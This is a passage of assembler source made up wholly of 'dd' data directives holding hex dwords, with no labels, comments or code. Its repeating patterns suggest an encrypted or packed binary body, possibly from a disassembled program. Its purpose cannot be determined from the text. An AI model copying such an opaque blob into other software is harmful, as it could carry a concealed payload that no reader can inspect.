dd 0CD13791Bh, 8690EFC1h, 0F413436Eh, 2D3543C1h, 97D2024h
dd 0CDA44465h, 2D35BF3Dh, 7F90EB42h, 0CD13791Bh, 8A90EFC1h
dd 0F413436Eh, 2D3543C1h, 0DF7D2024h, 0CDCA1FFBh, 2D35BF3Dh
dd 7F90EB42h, 0CD13791Bh, 8E90EFC1h, 0B113436Eh, 2D1623F9h
dd 12606624h, 1230E3D7h, 5A466097h, 0FCAB861Ah, 12CCD3DDh
dd 0B798600Eh, 340A5FC5h, 0B79CB6BBh, 3430807Ah, 1230E3D7h
dd 5A526097h, 0F5A438C3h, 12CCD3DDh, 0B798600Eh, 340A5FC5h
dd 0B79CB6BBh, 3430807Eh, 3150DB92h, 47156097h, 1790A064h
dd 75137902h, 506B6379h, 0EBA0996Eh, 0BF137964h, 2D2C2BA7h
dd 0BBC59917h, 17F3060Dh, 1790A042h, 71137902h, 481C9079h
dd 0EBA0991Ah, 0BF137964h, 2D2C2BA7h, 0BBC59917h, 17F3020Dh
dd 1790A042h, 71137902h, 13824679h, 0EBA09974h, 0BF137964h
dd 2D2C2BA7h, 0BBC59917h, 17F30E0Dh, 77A8E542h, 32137921h
dd 0B7D32664h, 340A46ADh, 9A160E07h, 87EAED22h, 340A46C8h
dd 0B58E305h, 0E2EA605Bh, 0D465E3ABh, 0B7D36034h, 340A46ADh
dd 4C00E07h, 87EA8379h, 340A46C8h, 0B58E305h, 0E2EA605Bh
dd 0D479E3ABh, 0B7D36034h, 340A46ADh, 0F40E07h, 87EA8C88h
dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D461E3ABh, 0B7D36034h
dd 340A46ADh, 9E220E07h, 87EAE2D3h, 340A46C8h, 0B58E305h
dd 0E2EA605Bh, 0D46DE3ABh, 0B7D36034h, 340A46ADh, 0A2C10E0Bh
dd 87EAF117h, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D469E3ABh
dd 0B7D36034h, 340A46ADh, 3C170E0Bh, 87EA9F4Ch, 340A46C8h
dd 0B58E305h, 0E2EA605Bh, 0D495E3ABh, 0B7D36034h, 340A46ADh
dd 4B5C0E09h, 87EAAE15h, 340A46C8h, 0B58E305h, 0E2EA605Bh
dd 0D49DE3ABh, 0B7D36034h, 340A46ADh, 7F9C0E09h, 87EABAD5h
dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D491E3ABh, 0B7D36034h
dd 340A46ADh, 1F220E11h, 87EAFA39h, 340A46C8h, 0B58E305h
dd 0E2EA605Bh, 0D499E3ABh, 0B7D36034h, 340A46ADh, 0C23F0E07h
dd 87EAB4F7h, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D485E3ABh
dd 0B7D36034h, 340A46ADh, 86FF0E16h, 87EA9B60h, 340A46C8h
dd 0B58E305h, 0E2EA605Bh, 18E4E3ABh, 0B7D3600Eh, 340A46ADh
dd 6B8C0E03h, 87EA84BAh, 340A46C8h, 0B58E305h, 0E2EA605Bh
dd 0D481E3ABh, 0B7D36034h, 340A46ADh, 52D70E03h, 87EAD7DFh
dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D48DE3ABh, 0B7D36034h
dd 340A46ADh, 0CC010E03h, 87EAB984h, 340A46C8h, 0B58E305h
dd 0E2EA605Bh, 0D489E3ABh, 0B7D36034h, 340A46ADh, 0C07D0E1Bh
dd 87EAF872h, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D4B5E3ABh
dd 0B7D36034h, 340A46ADh, 492A0E0Bh, 87EAA1DEh, 340A46C8h
dd 0B58E305h, 0E2EA605Bh, 0D4D9E3ABh, 0B7D36034h, 340A46ADh
dd 5C590E03h, 87EA9C79h, 340A46C8h, 0B58E305h, 0E2EA605Bh
dd 0D4C5E3ABh, 0B7D36034h, 340A46ADh, 16D80E03h, 87EAA524h
dd 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D4C1E3ABh, 0B7D36034h
dd 340A46ADh, 52D90E1Bh, 87EAB299h, 340A46C8h, 0B58E305h
dd 0E2EA605Bh, 0D4B1E3ABh, 0B7D36034h, 340A46ADh, 665B0E1Bh
dd 87EAF8CBh, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D4BDE3ABh
dd 0B7D36034h, 340A46ADh, 1A5D0E1Bh, 87EAB731h, 340A46C8h
dd 0B58E305h, 0E2EA605Bh, 0D4B9E3ABh, 367F6034h, 320566E0h
dd 22150E44h, 327F6622h, 1CACF3EEh, 0B79C6097h, 340A42E1h
dd 0E1F8E3AFh, 0E2EA6034h, 327D62E2h, 5A156654h, 32154622h
dd 0A7EA667Bh, 340A4831h, 1184E3CDh, 0B79C603Dh, 340A66E0h
dd 327D26E2h, 5A156654h, 32146622h, 0A7EA667Bh, 340A4831h
dd 37B8E3CDh, 879E603Dh, 340A7740h, 37B4FB03h, 879C605Bh
dd 340A7937h, 2948FB98h, 0AF9E6097h, 340A63E5h, 0CB966DA9h
dd 0ED916911h, 62156682h, 0F2260615h, 2278E3ABh, 0EAB600Eh
dd 31156688h, 54354230h, 1651658Fh, 4A65ED31h, 1231128Bh
dd 0BB0D18CFh, 2D02479Fh, 3DEAE317h, 32156C0Dh, 231B8E44h
dd 0A3FC6622h, 63156611h, 0E07EB103h, 5F80EF40h, 5813792Eh
dd 22150E15h, 58476688h, 8B809944h, 0BB13790Ch, 2D25FF94h
dd 6BC5ED8Eh, 3205B9ACh, 31B83022h, 0A5314255h, 42B903h
dd 0B71AC884h, 0CDEA99DBh, 60EE4D4Fh, 8F9EB103h, 340A42E1h
dd 1EAAFA1h, 13ECD1h, 369E2049h, 3AFCA7C3h, 3D5FAE11h
dd 0CDEA8C94h, 0C5D4ED77h, 309C3C94h, 6011A4A1h, 2278E3EEh
dd 0A79E6097h, 340A7629h, 2534F31Bh, 0B61A600Eh, 32156682h
dd 0F496381Eh, 0CD8E8F26h, 6C4F99EEh, 0F54D3FE9h, 2D088BC1h
dd 32156624h, 6F90A111h, 3213799Eh, 0B1156644h, 17F3729Fh
dd 0B61A6617h, 32156680h, 7E6AFBC9h, 0E1EA6007h, 2CC8E3EEh
dd 8F966097h, 340A7899h, 50976946h, 0F5156611h, 2D0BBB0Dh
dd 32156742h, 87980622h, 343080FDh, 3142DB05h, 0CC3E6062h
dd 8F9EB1A9h, 340A42B4h, 1EAAF0Bh, 13EC84h, 369E20E3h
dd 3AFCA796h, 3D5FAEBBh, 0CDEA8CC1h, 0C5D4EDDDh, 2B905FC1h
dd 3D13798Bh, 321571C0h, 0C3A8E522h, 32137931h, 321FE387h
dd 0B7D26644h, 340A7C93h, 32156610h, 453DDFE9h, 0F7AF2026h
dd 9F1C3456h, 2D00D398h, 74D26097h, 321566B8h, 0DCFB5B22h
dd 0B71A88FFh, 321566A8h, 0EFC858C5h, 0B71ABBFFh, 32156605h
dd 3215604Fh, 0F4966644h, 27A0EF26h, 0DB13790Eh, 32156E71h
dd 0B726BECFh, 340A7C93h, 1916AED0h, 22D5A74Ah, 0AF9CA777h
dd 340A7C93h, 3315662Ch, 77966988h, 0B3156644h, 89AEDD1Ch
dd 0B9069AAh, 0F5156688h, 32156642h, 36D3E522h, 2D00D398h
dd 0AF9E6097h, 340A63E5h, 0E29E6DA9h, 19D7ED71h, 2D13330Dh
dd 30F5A742h, 0BCE321h, 9F83600Eh, 769CA78Bh, 0DB747A60h
dd 3215665Eh, 0FB263440h, 28CF303h, 302E605Bh, 322DE22Dh
dd 0F0966611h, 0BF2E278Ch, 340A7165h, 0CDFDE32Dh, 879899EEh
dd 34308359h, 3170DBC9h, 0B6B9603Dh, 349169D1h, 98156688h
dd 0CDEA97ADh, 3215DEDDh, 0BF986611h, 340A2B38h, 0BF9C87BBh
dd 340A764Fh, 0B9433F4Bh, 2D10C715h, 0B91EED42h, 2D050BA7h
dd 31F5B717h, 2D018B0Dh, 0A4E35542h, 0D2D4CB44h, 9B906513h
dd 0A41379BAh, 6CD465E9h, 2F30DBA1h, 3D14600Eh, 32155F0Ch
dd 0EB985D44h, 3D137902h, 32154B95h, 63985D88h, 3D137968h
dd 321547A6h, 0D7985D11h
dd 3D137993h, 321573C0h, 1D88EB22h, 0CD1343EAh, 0BBEDED5Bh
dd 2D2593C1h, 34A18F24h, 0AF986611h, 34309DA7h, 8F96B5BBh
dd 340A7B07h, 2F916911h, 9156688h, 2D18E7C1h, 3E916924h
dd 9156611h, 2D1B370Dh, 37906942h, 0DB156622h, 0CDEA99A8h
dd 161CE3B3h, 0B71A605Bh, 3215663Ah, 3CE0DB92h, 3D156097h
dd 32156DC1h, 6C90EB22h, 0DB1343DCh, 0CDEA991Dh, 161CE37Fh
dd 0B61A603Dh, 0CDEA9998h, 0D7D8DB0Bh, 3D146061h, 321571A7h
dd 1E905D11h, 3D13436Eh, 32156DC1h, 9290EB22h, 0DB153EF7h
dd 0CDEA99E5h, 8F969977h, 340A7EFBh, 55916911h, 915668Bh
dd 17F37EC1h, 0B9121324h, 2D27D394h, 0B72E218Eh, 34308064h
dd 0B79E6157h, 340A4B7Ch, 2E905DCFh, 471343A2h, 0D790ED25h
dd 75137911h, 0D431E3B3h, 35606061h, 24BCE3A9h, 952600Eh
dd 17F34E0Dh, 0B9121342h, 2D04B3A7h, 0B72E2117h, 343080A4h
dd 0B79E6131h, 340A4A3Fh, 2905D56h, 4713436Eh, 0AB90ED43h
dd 7513793Fh, 0D421E32Ah, 356060ADh, 342CE3CFh, 952603Dh
dd 17F35E94h, 0B912138Eh, 2D0687C1h, 0B72E2124h, 3430802Dh
dd 0B79E61FDh, 340A5689h, 76905D65h, 471343F7h, 0A790ED8Fh
dd 75137955h, 0D455E319h, 22606034h, 3150DB0Bh, 4715605Bh
dd 4790ED25h, 7513790Bh, 304DB0Bh, 4615605Bh, 0FE905D2Dh
dd 471343F7h, 5390ED8Fh, 75137967h, 3EF8DBA1h, 4615600Eh
dd 0B3A8E5FAh, 32137967h, 0B72E0F56h, 343080A1h, 0B79E61FDh
dd 340A4BC5h, 0F2905D65h, 471343F7h, 0FF90ED8Fh, 75137969h
dd 0D4A1E319h, 35606034h, 2338E303h, 952605Bh, 17F3A2A7h
dd 0B9121317h, 2D1F230Dh, 0B72E2142h, 343080EAh, 0B79E6164h
dd 340A4D09h, 8A905D03h, 471343C4h, 6F90ED16h, 7513798Ah
dd 0D4A9E37Fh, 35606007h, 3EC0E39Ah, 0B1526097h, 2D36E7F9h
dd 0B61A6624h, 3215641Bh, 0D45DE3B3h, 35606061h, 182CE3A9h
dd 952600Eh, 17F3BA0Dh, 0B9121342h, 2D3993A7h, 0B72E2117h
dd 343080C4h, 0B79E6131h, 340A7D23h, 62905D56h, 4713436Eh
dd 2F90ED43h, 75137932h, 0D441E32Ah, 356060ADh, 24F8E3CFh
dd 952603Dh, 17F33E94h, 0B105138Eh, 2D1623F9h, 35606624h
dd 1FE8E39Ah, 9526097h, 17F33AC1h, 0B9121324h, 2D3ED394h
dd 0B72E218Eh, 34308024h, 8F967657h, 340A6554h, 0B9121388h
dd 2D3613C1h, 0B72E2124h, 34308075h, 0B79E61FDh, 340A74E5h
dd 5A905D65h, 471343F7h, 0F790ED8Fh, 75137975h, 0D465E319h
dd 22606034h, 3150DB0Bh, 4715605Bh, 8F90ED25h, 7513791Eh
dd 0D479E3B3h, 22606061h, 3150DBA1h, 4715600Eh, 0B390ED8Fh
dd 75137941h, 0D461E319h, 35606034h, 2008E303h, 952605Bh
dd 17F31EA7h, 0B9121317h, 2D1A9F0Dh, 0B72E2142h, 3430805Eh
dd 0B79E6164h, 340A41CDh, 0B2905D03h, 471343C4h, 0F390ED16h
dd 7513798Dh, 0D491E37Fh, 35606007h, 322CE39Ah, 9526097h
dd 17F3EEC1h, 0B9121324h, 2D150394h, 0B72E218Eh, 343080C8h
dd 0B79E6157h, 340A77E8h, 0A2905DCFh, 471343A2h, 0F90ED25h
dd 7513791Ch, 18E4E3B3h, 3560605Bh, 11B4E3A9h, 952600Eh
dd 17F3F20Dh, 0B9121342h, 2D1FF3A7h, 0B72E2117h, 34308058h
dd 8F967F31h, 343080FAh, 0B11C1311h, 2D084335h, 35616642h
dd 2D5CE3A9h, 952600Eh, 17F3B20Dh, 0B10C1342h, 17F3BE9Fh
dd 3B606617h, 2F30DB0Bh, 4615605Bh, 790ED25h, 75137905h
dd 0D48DE3B3h, 35606061h, 21ACE3A9h, 952600Eh, 17F3FA0Dh
dd 0B9121342h, 2D13B7A7h, 0B72E2117h, 34308028h, 0B79E6131h
dd 340A6FDFh, 96905D56h, 4713436Eh, 0BF90ED43h, 7513792Ch
dd 0D4BDE32Ah, 356060ADh, 3C7CE3CFh, 952603Dh, 17F3CA94h
dd 0B912138Eh, 2D3F5FC1h, 0CD1E2124h, 3210E21Eh, 0D8FC6688h
dd 9EA99BFh, 2D38FBA7h, 39906917h, 0BF156688h, 178A56C1h
dd 0C9C68F24h, 0B72E99EEh, 340A70FDh, 320DE34Bh, 8F966622h
dd 343083DCh, 39906989h, 0BF156644h, 6AF345A7h, 0C9BA8F11h
dd 0B72E9977h, 3430804Ch, 3219E22Dh, 0B72E6611h, 34308084h
dd 3210E34Bh, 0A0FC6622h, 8CEA99EAh, 32156688h, 3D1498C7h
dd 321523A7h, 0CE905D11h, 3D13436Dh, 32156DC1h, 0D690EB22h
dd 0DB153E73h, 0CDEA9DE5h, 0D415E37Fh, 0B71A6007h, 3215661Ah
dd 514FE305h, 64FC661Ch, 9EA99D9h, 17F36294h, 3990698Eh
dd 0BF156644h, 6A76F9A7h, 0C92A8F11h, 0F29E9977h, 321567FAh
dd 3DE36D22h, 32156394h, 0C9368F88h, 0C29E99BBh, 351CD3ABh
dd 879C600Eh, 340A6581h, 3DFC58C4h, 321540A7h, 336BED11h
dd 0EC9E988Bh, 7215A5C5h, 8F2E6622h, 340A6118h, 321DE487h
dd 0C92E6644h, 3210E02Dh, 0D4FC6611h, 0B9EA9972h, 2D36F7F9h
dd 0C390A124h, 32137919h, 52156688h, 311CD3CDh, 0AF98603Dh
dd 34336701h, 0B01AB577h, 32156666h, 0A3DFFBAFh, 0E1EA6035h
dd 0CDCBE587h, 879E99BBh, 340A652Bh, 3AE4D398h, 0AF986097h
dd 34302A63h, 0B79EB5DDh, 340A6118h, 311CE301h, 0BF74605Bh
dd 17E81FBFh, 0BFC69917h, 14150715h, 3DC69942h, 32156AA1h
dd 3B90E511h, 3713798Bh, 0CDEAB8ADh, 0B888EBDDh, 0CD134011h
dd 3A96695Bh, 0B1156644h, 0FC62E0h, 0BF156611h, 1684AC15h
dd 3DC69942h, 32156DA1h, 3BA0ED11h, 0DB13798Bh, 321561C4h
dd 311CEBA9h, 879C600Eh, 340A6581h, 0EBE2A86Fh, 96E69709h
dd 0CDEAF0F8h, 4D88EB77h, 0CD134308h, 19D2EDF1h, 2D36F794h
dd 0F790EF8Eh, 0B913795Bh, 2D36F7A7h, 0BF453117h, 17599205h
dd 0B9C49942h, 2D10CBA7h, 0B9423617h, 2D36F70Dh, 0BF983642h
dd 34302B01h, 0E29EB7EEh, 0BF3EAE03h, 340A63E9h, 1C38DBA1h
dd 3D15600Eh, 32154D0Ch, 0BB90ED44h, 1913790Ch, 2D3B4B94h
dd 3DD45D8Eh, 321571C2h, 0D390ED22h, 31137919h, 2D3B4B0Dh
dd 0C790EF42h, 0DB137912h, 32156652h, 7AD4EDD9h, 321A9949h
dd 0B79C2622h, 340A4898h, 3114E389h, 0B7D2605Bh, 340A480Fh
dd 32156611h, 327D26E2h, 63156654h, 0A7EA6648h, 340A48A8h
dd 2A88F377h, 0B79C605Bh, 340A6EC3h, 2E0E398h, 0CD4C6097h
dd 2D2593F1h, 9FA09924h, 65137914h, 1184D377h, 0B798605Bh
dd 34303797h, 0BF14B6EEh, 340A48A5h, 2E0DBCFh, 879E603Dh
dd 340A63BCh, 879EC27Bh, 340A7951h, 0CE53A18Fh, 32156611h
dd 3710A649h, 7477116Ch, 37D8E321h, 0BF9E600Eh, 340A567Dh
dd 0F5B86ECDh, 32159A64h, 879C6611h, 340A799Dh, 3DEA9EC7h
dd 321546A7h, 0EF2BE711h, 3DC8BB55h, 321572C1h, 3213A122h
dd 0B1156611h, 879C624Eh, 340A7951h, 0CDE380CBh, 31D5A7EEh
dd 37D8E38Bh, 8F96605Bh, 340A739Fh, 0AF916910h, 0B3156688h
dd 98BFCC7Ah, 20906988h, 0B1156611h, 74D2624Eh, 321566B8h
dd 0DBA5F122h, 321565F8h, 0DAA5F188h, 17A8E514h, 3313793Fh
dd 322BE21Eh, 32AD6688h, 0B1156645h, 17F3729Fh, 0B61A6617h
dd 32156680h, 66E3FBC9h, 0E1EA6007h, 3D855991h, 32156E0Ch
dd 37D2E544h, 321525CBh, 62EDE511h, 321FE487h, 0A2A56644h
dd 0DBBF3E88h, 32156635h, 4D95CCD0h, 0B71A8FBBh, 3215663Ah
dd 0D401DB92h, 3D1560ADh, 32156EC0h, 0F488EB22h, 0CD134345h
dd 3652EE5Bh, 2E0E3CFh, 0F53E603Dh, 99118E92h, 0CE53A125h
dd 32156644h, 0CDEA77CBh, 27A0EFEEh, 60137997h, 3295662Ch
dd 0CD150C22h, 2D25FFA4h
dd 0CB80998Eh, 68137942h, 37B4EBA9h, 33D2600Eh, 32156688h
dd 0BB11A7C7h, 2D10C7AFh, 0C7058F17h, 96FC9977h, 52156642h
dd 37B4EBA9h, 3B9E600Eh, 0D405EB01h, 0A946061h, 7E51326Ch
dd 3209E31Eh, 0B3736688h, 1C59623Ch, 3205E32Dh, 0C29E6611h
dd 0B913A00Bh, 2D1EDBC1h, 33138F24h, 0C29E6611h, 0FB26B603h
dd 3D155AE8h, 32153BA6h, 3D385A11h, 0CDEA890Ch, 3D3B5ABBh
dd 32155BA6h, 3D255A11h, 3214660Ah, 3D2C5A44h, 0CDEAB1A4h
dd 3D545AEEh, 3215960Ah, 3D4F5A44h, 0CDEAA1A4h, 3D4A5AEEh
dd 0CDEAD90Ch, 3D745ABBh, 3215BEA0h, 3D6F5A11h, 0CDEAC90Eh
dd 32DE8FBBh, 9576622h, 0F09169C7h, 78156688h, 0CD8F8F05h
dd 0FB9099DDh, 32A6E21Eh, 87986688h, 340A7171h, 0C89EACA9h
dd 3DBB48A1h, 0CDEA9F0Dh, 0C5DA4DBBh, 0B5EC4DFBh, 0F4B195E6h
dd 0BF1599CFh, 2D0253D1h, 8790ED24h, 0B7137935h, 28906948h
dd 0F4156644h, 2D3543A7h, 0E07D2117h, 0CDC1FC2Fh, 2D2717F1h
dd 0A190EB24h, 0CD134468h, 0E2EA3458h, 0B71AA6C1h, 3215661Ah
dd 1FA4E39Ah, 0F2906097h, 320FE34Bh, 0B7D36622h, 340A4634h
dd 2EFC0EC4h, 87EABF9Eh, 340A5453h, 4B86E39Ch, 0E2EA60AAh
dd 0B7C59916h, 379069E2h, 0DB156611h, 321566A9h, 0D405E3CDh
dd 64456007h, 0AB42E39Ch, 0E2EA60AAh, 0B71AA64Fh, 32156627h
dd 321562F8h, 1651EF88h, 52D60758h, 0D405EBA9h, 0B9456034h
dd 0E556549h, 329DF6CFh, 0A79C6622h, 340A68B0h, 32159E8Dh
dd 3E45ED44h, 2304F3ABh, 0B94D600Eh, 193142CCh, 23905D85h
dd 3D137933h, 32157693h, 93905D88h, 3D13794Ah, 321562A1h
dd 36D70711h, 36D20788h, 32156660h, 1651A122h, 32156615h
dd 3210DE88h, 0BF986644h, 340A2B92h, 0B87587EEh, 3DFC5A8Eh
dd 321558C0h, 3DFD5A22h, 32152495h, 3D1A5A88h, 321574C0h
dd 3DD85A22h, 32155995h, 3DFE5A88h, 32152FC0h, 0B8D60722h
dd 0D195674Fh, 0B2EEE678h, 0CDFAE34Bh, 0EC9E99DDh, 3113A592h
dd 26FC64D6h, 0B9156644h, 0C996677Ch, 1B9169EAh, 0B9156688h
dd 334B659Ah, 0DB10A5A1h, 0CDEA99D8h, 334BD087h, 3D3B8DC7h
dd 0CDEADAA6h, 321F8FEEh, 4C956688h, 0B71A9845h, 0CDEA998Fh
dd 0CDEA06F8h, 61443077h, 9ED55513h, 0D195BEA8h, 42EEE6E1h
dd 32F9E287h, 3D296644h, 3230E22Dh, 0DB296611h, 3391E287h
dd 0D9296644h, 3000E22Dh, 0D1296611h, 3264E287h, 0D0296644h
dd 3056E22Dh, 694A6611h, 0F5D638D1h, 17F386C1h, 32156024h
dd 0B20BEC11h, 0C995966Bh, 0D19069C4h, 7CEA99DDh, 351CE39Ah
dd 0A79E6097h, 340A6EB5h, 0F196B8A9h, 304B6517h, 0B01ABEB3h
dd 3215664Ch, 0B41ABC19h, 0CDEA99AFh, 0D996B9A3h, 54B80042h
dd 0B1BEF589h, 0E9C62D7h, 1661EFACh, 3BA0EF48h, 6D137921h
dd 0B14B3F4Ah, 52FC624Ch, 0F5EA99BEh, 17F386A7h, 32156417h
dd 3DCBED88h, 0CB9568F2h, 3A9669A2h, 31156611h, 3FFC2551h
dd 0B2156644h, 0EBE299CBh, 32EA8790h, 0EB3E6688h, 351CE3CFh
dd 0A79E603Dh, 340A6EE0h, 2FF8DB0Bh, 3D14605Bh, 3215C5A6h
dd 3DCD5D11h, 3215FD0Ah, 3DCF5D44h, 0CDEA27A0h, 329B8FEEh
dd 0B7D26688h, 343080A4h, 32156620h, 841AB89Ah, 0B2ECE686h
dd 321DE54Bh, 0EB166622h, 32188F52h, 0DB956688h, 0B3CC91BBh
dd 321599C3h, 0B9CC4D11h, 2D126F0Dh, 0C380ED42h, 0B113792Ah
dd 2D088BACh, 0B61A678Eh, 3215660Ch, 0B01ABE19h, 32156619h
dd 0B41ABCB3h, 0CDEA98A2h, 981AD66Ch, 0B2A5689Bh, 381A8708h
dd 0ED3ECC85h, 0A1118DA1h, 30D3E5BAh, 311CD301h, 0B7D2605Bh
dd 340A7BCFh, 32156610h, 6911A20Bh, 36D1E51Dh, 0DB11A2A1h
dd 0CDEA9F66h, 98FCD6C6h, 0F53EA0CFh, 99118EA1h, 6911A292h
dd 0F69638D1h, 0CBD28F40h, 0B7D299DDh, 343080F1h, 3215668Dh
dd 0F196B8CFh, 0B90B6526h, 2D126F94h, 0C380ED8Eh, 7C13794Ch
dd 2448DBA1h, 3D14600Eh, 3214650Ch, 3DCD5D44h, 32156EA0h
dd 3DCF5D11h, 32154D0Eh, 3BA0EF44h, 0B9137921h, 17F3868Ch
dd 1649678Eh, 32CB8F48h, 0F54A6622h, 2D033B94h, 3215678Eh
dd 6C4C3D44h, 0DB11A2A1h, 0CDEA9EE6h, 2FF8DB0Bh, 3D14605Bh
dd 3215DDA6h, 3B884D11h, 0B913798Fh, 2D36F7C9h, 19DE6524h
dd 37FCE5DEh, 0A3BF8F38h, 36D1E5EFh, 0B14B3F79h, 1CFC62D5h
dd 0F5EA9971h, 17F386C1h, 32156424h, 3DCBED11h, 0CB95683Eh
dd 3A9669C4h, 31156622h, 3FFC25C8h, 0B2156688h, 0EBE299ADh
dd 32EA87A3h, 0EB3E6611h, 351CE303h, 0A79E605Bh, 340A6ED3h
dd 0CDEA20F8h, 0D290A177h, 301343A2h, 0B9156622h, 3CA369CFh
dd 3D959F08h, 32156EC7h, 71CC6522h, 32156BF8h, 0CDFCE688h
dd 0D394BFB3h, 321566DDh, 0B79EBF3Ah, 340A6181h, 3AE4F3CFh
dd 8F96603Dh, 340A7BFCh, 0FB916989h, 9EA99BAh, 3A9769FAh
dd 9156611h, 55936952h, 7CEA99B9h, 0FD3EA8A9h, 82108F92h
dd 9984CC61h, 0CDEDEEADh, 0E13ECDDh, 349169F9h, 0CA156688h
dd 32157EADh, 0EC9E3522h, 0B1143812h, 0DAA5634Bh, 0B1CA4DEEh
dd 998662C9h, 37D3E54Ah, 5444A571h, 0F12960CFh, 3255E22Dh
dd 0F9296611h, 322DE287h, 0F0296644h, 322DE22Dh, 0F8296611h
dd 3225E287h, 0F736644h, 0B61A43DDh, 32156621h, 0CD3B5BEEh
dd 3218E34Bh, 749F6622h, 0EE54213h, 11916928h, 6B156644h
dd 322C8FDAh, 0FB266611h, 320C8FC9h, 31AC6644h, 0DB156622h
dd 3215661Eh, 32156031h, 32108F44h, 35AC6622h, 0C1156611h
dd 0C398ED2Ch, 0B713794Ch, 349069EBh, 0BB156611h, 2D1D973Dh
dd 0F1EC3F42h, 0E13ED44h, 579169D2h, 0B8156688h, 0C2F6E69Ch
dd 3D659DA2h, 3215FA95h, 3DFC5A88h, 321529C0h, 3DFE5A22h
dd 32152195h, 3DD75A88h, 321559C0h, 3DDE5A22h, 32155195h
dd 0CD280088h, 1F916961h, 0E156622h, 179169DBh, 0E156688h
dd 509169A7h, 54156622h, 3DEA482Ch, 32156B0Dh, 3053EC44h
dd 92299606h, 3213E21Eh, 0DBED6688h, 3215664Bh, 3AE4D3ABh
dd 0AF98600Eh, 34302AAFh, 0F1ECB5BBh, 2253ED72h, 3440E398h
dd 0B14D6097h, 8F987A82h, 340A548Bh, 165165BCh, 8F98CDACh
dd 340A485Dh, 1651658Fh, 0BFBE3635h, 2D018B35h, 7616CB42h
dd 6CBE4E06h, 0AF9830D2h, 34302A88h, 95FCB5BBh, 0DFFFFFFFh
dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 584FC0D5h, 0ED96A460h
dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh
dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h
dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh
dd 0A851D6ACh, 8660D554h, 2559D7BAh, 0AFD8A5CEh, 32DCF143h
dd 8C30E432h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h
dd 65CE38C8h, 7462C71h, 8D9FC4DFh, 3C6D552h, 92B85E00h
dd 5E98354h, 0CB8BA4F3h, 0DABA31E4h, 32565DB1h, 6EBC2FEBh
dd 525072E5h, 7A24113Ch, 77DDD394h, 0B95163B9h, 75DF79F4h
dd 221331B5h, 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h
dd 2D76F034h, 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h
dd 0FB5F0FA8h, 0F53FD525h, 4FB2ADFDh, 34229150h, 0AC7ACFB7h
dd 0AD29B723h, 0FD7A1A20h, 7C277975h, 0D8C94298h, 0B2FFA073h
dd 7D7C0AC7h, 5E983C8h, 0DB8BA4F3h, 0E6ECBD8Dh, 8D8D0625h
dd 62601D3h, 156644B8h, 0C1CF2B32h, 73102E9h, 0C783C8D0h
dd 850F4904h, 0FFFFFFF2h
dd 0BD83C08Bh, 61F06C1h, 83097500h, 1F1F51BDh, 19740006h
dd 0C08B5350h, 411B8h, 95858900h, 8D061F13h, 21B00B9Dh
dd 5BD3FF06h, 51BD8358h, 61F1Fh, 53501774h, 411B8h, 95858900h
dd 8D061F13h, 21ACAC9Dh, 5BD3FF06h, 0BBC08B58h, 4672A4F2h
dd 0F60A04EBh, 0CE9149Bh, 0DE000005h, 0F8BC33CEh, 17DB52ADh
dd 33F76E93h, 4E128976h, 0E632A958h, 847D292Ch, 0A56A490Dh
dd 0C33E6A2Eh, 0E01F884Ch, 7B27A069h, 19AD9EA3h, 458BFE36h
dd 570B9D62h, 0B039B24Fh, 0D3A22C04h, 0E70BBF1Fh, 4FBAC70h
dd 16E9BE72h, 2AD5D084h, 0DFFF8E98h, 239A6542h, 41B8495Fh
dd 44D62B7Dh, 5AEC2390h, 1E8B4BC8h, 83A74FE1h, 5D4BD608h
dd 5FF11098h, 0BA923EB7h, 4D1FD3A2h, 0F17EF599h, 26B948BBh
dd 0D9015Dh, 65BF1AC5h, 45F519BDh, 6B0B9D62h, 1FD45C96h
dd 13AA42Fh, 0F6BF9B8h, 6855h, 0BC7CE200h, 40F014EBh, 66069867h
dd 1FD3A194h, 0FD3EA02Bh, 0F094BCBCh, 151h, 6045DE00h
dd 0D0900D9Fh, 0F29A2CE3h, 6C871ECEh, 933C53Ch, 3438337h
dd 29CD71CCh, 39C6E397h, 0B38B37C0h, 461FD311h, 0D2DC6E92h
dd 0DF208545h, 668A772Fh, 772EF3EBh, 644F0F88h, 4B7119ABh
dd 0E24F01D3h, 4FC6EAB9h, 6CE31C8Bh, 0A06145F5h, 1AF29E27h
dd 0AD1FD3A2h, 8F43D5F9h, 0D357E916h, 0B9B8658h, 0ECBB7FF6h
dd 0DDCD8113h, 0B1309224h, 0BA3B0E2Dh, 7572F094h, 0FF000000h
dd 0EA06145h, 4A5505Ah, 11C557FBh, 0B24D5C99h, 0E2C87C0Eh
dd 0F4838D1Fh, 0AE3D43EAh, 4CB5F130h, 6C9511D5h, 7C8326DAh
dd 4B0B88EAh, 6D15A768h, 2B10CE49h, 0F094BA1Eh, 4E8Fh
dd 61451C00h, 0D1910EA0h, 58082CD5h, 5830DC50h, 0EB1FD3A1h
dd 911A9337h, 0D3A20DE5h, 0C8ECA01Fh, 0AA6AF736h, 62DD0100h
dd 1A57Ch, 693CFC89h, 4FE1208Ah, 7CDF03A7h, 0D9F6045h
dd 0D3A1986Dh, 38A6311Fh, 94BCB603h, 157F0h, 45E40000h
dd 431BC765h, 0D61FD3A1h, 38EC7E22h, 5717906Fh, 0F88AAE53h
dd 8129E966h, 2046EE80h, 82776AF3h, 0BB365A5Eh, 55ACFE23h
dd 0C1C077DEh, 0FD761AE7h, 0F059F051h, 4FE19515h, 7AF30C9Bh
dd 0A105F0BAh, 9743BC60h, 25F258BFh, 37A9E52h, 597683Fh
dd 0F2589365h, 0CF8F1C25h, 0E39729D6h, 749A3EC3h, 8CE7486Bh
dd 8D082C38h, 28D7D051h, 436424B1h, 6307FAB0h, 0E7188F3Fh
